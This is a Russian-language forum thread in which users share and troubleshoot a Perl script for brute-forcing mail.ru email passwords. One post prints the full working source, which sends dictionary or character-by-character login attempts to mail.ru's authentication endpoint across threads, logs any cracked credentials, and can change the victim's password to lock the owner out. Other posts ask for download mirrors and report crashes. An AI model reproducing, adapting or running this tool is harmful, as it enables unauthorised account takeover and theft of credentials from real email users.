я скачал отсюда, hxxp://obrute.info/e-mail/genom-mailru-bruter/ , но не знаю - изменил ли его человек, выложивший у себя. Каспер с последними базами ничего не обнаружил, но все же лучше было бы , если бы автор перезалил скрипт куда-либо.
ты вообще думаешь что пишешь на счет каспера ? что тебе плохого может сделать перловый скрипт у которого все в сорцах можно прочитать?
Подскажите... Не могу разобрацца почему брутер элементарно пролистывает пароль брутер v4.0 . колво потоков 400000, кол-во пассов на поток 200000. Работать то работает - буковки бегут (еще и трафик жрет как свинья, собакка) но пассворд просто пропускает будто это не тот... почему такая ж*па? З.Ы. я имел (имею и буду иметь...=) в виду канечна же посимвольный перебор при словарном все норма...
Есть возможность у кого-нибудь перезалить файл в первом посте? //Нашёл на http://spamer.ucoz.com/load/7
Скрипт работает как новые часики! Чтоб не парились откуда качать, вот исходный код Code: #!/usr/bin/perl ######################### genom-- mail bruter v 4.0 ##################### # специально для antichat.ru # # Приветы: +toxa+, gemaglabin, tclover, slider, nerezus, podkashey, friackazoid, A110ut, b00zy_c0d3r, k1b0rg, limpompo and other good boys & girls. # привет и всем остальным кто ко мне хорошо относится -- а кто плохо вы сами знаете куда вам идти # # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~NO SPloA<-->NO WorLD~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # # Затеряный в бескрайних лесах белорусии секретный бункер №19753 .2007 год. # Use: # mail.pl brute - для символьного перебора # mail.pl - для брута по словарю # mail.pl wget http://somesute.com/dict.txt - для брута по словарю с его предварительной выкачкой самим скриптом # при выборе режима посимвольного перебора придется указать мин и максимальную длину пароля а также вручную # выставить набор символов которые будут входить в генерируемые пароли ######################### genom-- mail bruter v 4.0 ####################### use LWP::UserAgent; use HTTP::Cookies; use threads; use threads::shared; my $num : shared; my $dyndyk : shared; my $thepass : shared; print "\a\a\a\a########## GeNoM-- mail.ru bruter v 4.0 || icq^963202 ###############\n"; my $ua = LWP::UserAgent->new; my $cookies = HTTP::Cookies->new; $ua->timeout(60); $ua->agent('antichat shell v -197.0 - admin /\0X'); $ua->cookie_jar($cookies); $ua->requests_redirectable(0); ################################ КОНФИГ ################################# # $proxy='127.0.0.1:8080'; # $ua->proxy('http'=>"http://$proxy"); # вот ваша прокся запишите тип http или socks и адрес можете в переменную можете просто так $threads=4; # количество потоков $tclover=20; # количество пасов отбручиваемых потоком $getpass=0; # менять пароль 1, неменять - 0 $br=0; # переменная флаг брута - установите в 1 если хотите чтобы всегда брутилось символьным перебором @chr=('',1..5); # набор символов из которых будет генерироваться словарь - ВАЖНО первый символ не убирать ################################ КОНЕЦ ################################### if(@ARGV[0] eq 'brute'){$br=1;} $time=localtime; print "Start brute in $time\n"; ############# автоскачка файла с пассами if(@ARGV[0] eq 'wget'){ $link328=@ARGV[1]; print "Downloading passwd list->$link328\n"; my $res = $ua->get($link328) or die "Can't download file.\n"; open lodd,">pass.txt"; binmode lodd; $slovo=$res->content; if($slovo=~/Not Found/){print "File not found.\n";exit;} if($slovo=~/500 Can't connect/i) {print "Bad connect.......\n";exit;} $slovo=~s/<[^>]+>//ig; # затераем теги на всякий случай. print lodd $slovo; close lodd; print "Downloading complite. File save as pass.txt.\n"; } open(pass,"<pass.txt"); while($sykaz=<pass>){$what_pass++;} close(pass); open(mails,"<mail.txt"); while($sykaz=<mails>){$what_mail++;} close(mails); print"\n~~~~~ total mails:$what_mail and password:$what_pass ~~~~~\n\n"; open(mails,"<mail.txt"); ############ prebrut if($br==1){ @pas=(0,0,0,0,0,0,0,0,1); # массив символизирующий начальное положение счетчика print"Insert min length or press enter by 1->"; $min=<STDIN>; chomp$min; if($min eq''){$min=1;} print"Insert max length->"; $max=<STDIN>; chomp$max; foreach(@chr){$sum++;} foreach(@pas){$dll++;} # выставляем начально значение счетчика согласно мин длине пароля for ($i = $dll-1; $i >=$dll-$min; $i--) { @pas[$i]=1; } } ############ while ($mails=<mails>) { print"Start brute mail->$mails\n"; chomp $mails; ($login,$domain)=split(/\@/,$mails); open(pass,"<pass.txt") if $br==0; puk: if($br==1){ for ($i2 = 0; $i2 < $tclover; $i2++) { for ($i = $dll-1; $i >= 0; $i--) { if(@pas[$i]>($sum-1)){@pas[$i-1]++; @pas[$i]=@pas[$i]-($sum-1);} } @passwd[$i2]="@chr[@pas[0]]@chr[@pas[1]]@chr[@pas[2]]@chr[@pas[3]]@chr[@pas[4]]@chr[@pas[5]]@chr[@pas[6]]@chr[@pas[7]]@chr[@pas[8]]"; if(@pas[$dll-1]==$sum){next;} # эта строчка исправляет небольшую колизию при составлении пароля @pas[$dll-1]++; if(length($str)>$max){print"\n\nMax lenght of password ....\n\n";goto(konec);} } } else{ for ($i = 0; $i < $tclover; $i++) { $password=<pass>; chomp $password; @passwd[$i]=$password; }} print"\nStart new thread with mail->$mails and password->@passwd[0]\n"; open logg,">>log.txt";print logg "\n\nStart new thread with mail->$mails and password->@passwd[0]\n";close logg; threads->create(\&brut,@passwd); $num++; $got+=$tclover; sleep(1); if($got >= $what_pass && $br==0){print"\n\nEnd of password list ....\n\n";goto(konec);} if($dyndyk==55){print"\n\n\a\a\a####### BRUTE PASSWORD [OK].... see brute_mail.txt #######\n\n";goto(konec);} check: if($num < $threads){goto(puk)} else{sleep(1);goto(check);}; konec: $got=0; foreach(threads->list) { $_->join } # ждем оконания остальных потоков и идем дальше close(pass); $dyndyk=0; if($br==1){ # выставляем счетчик заново for ($ii = $dll; $ii >=0; $ii--) {@pas[$ii]=0;} for ($i = $dll-1; $i >=$dll-$min; $i--) { @pas[$i]=1; } } } close(mails); sub brut { foreach $pyss(@_){ next if($dyndyk==55); my $res = $ua->post('http://win.mail.ru/cgi-bin/auth', {'page' => '', 'post' => '', 'login_from' => 'http://mail.ru/', 'Login' => $login, 'Domain' => $domain, 'Password' => $pyss }); if($res->content=~/500 Can't connect/i) {print "Bad connect.......\n";exit;} if($res->content=~/checkcookie/i) {$dyndyk=55; print "\a\a\aFor $login\@$domain password->$pyss\n"; if($getpass==1) {$pyss=new_pass($login,$domain,$pyss);}; open brut, ">>brute-mail.txt";print brut "$login\@$domain->$pyss\n";close brut; open logg,">>log.txt";print logg "For $login\@$domain password->$pyss\n";close logg; } } $num--; } ############### получаем новый пасс sub new_pass{ my ($log,$dom,$pass)=@_; my $res = $ua->post('http://win.mail.ru/cgi-bin/auth', {'page' => '', 'post' => '', 'login_from' => 'http://mail.ru/', 'Login' => $log, 'Domain' => $dom , 'Password' => $pass }); my $newpass=randpass(); my $res = $ua->post('http://win.mail.ru/cgi-bin/modifypass', {'modify' => 1, 'Username' => $log, 'oldPswd' => $pass, 'Password' => $newpass, 'Password_Verify' => $newpass }); print "Get new pass ...[ok]\nNew password ->$newpass\n\n"; return $newpass; } ########### генерим новый пароль sub randpass{ my $rand; for (1..2){ $rand.=chr(rand(26)+65); $rand.=chr(rand(10)+48); $rand.=chr(rand(26)+97); } return $rand; } Спасибо genom--!
что за хрень Одно мылО Брутит с малым славарём И потом ПРосто ПРога закрывается хатя и не весь славарь прошла
у меня проблема - одно мыло проходится примерно по 100 паролям, и программа вылетает со следующим отчётом: Что делать?
Может по - человечески объяснишь, а не профиссионально? Что делать? И на всех версиях такая ерунда. Запуск идёт под Ubuntu 8.10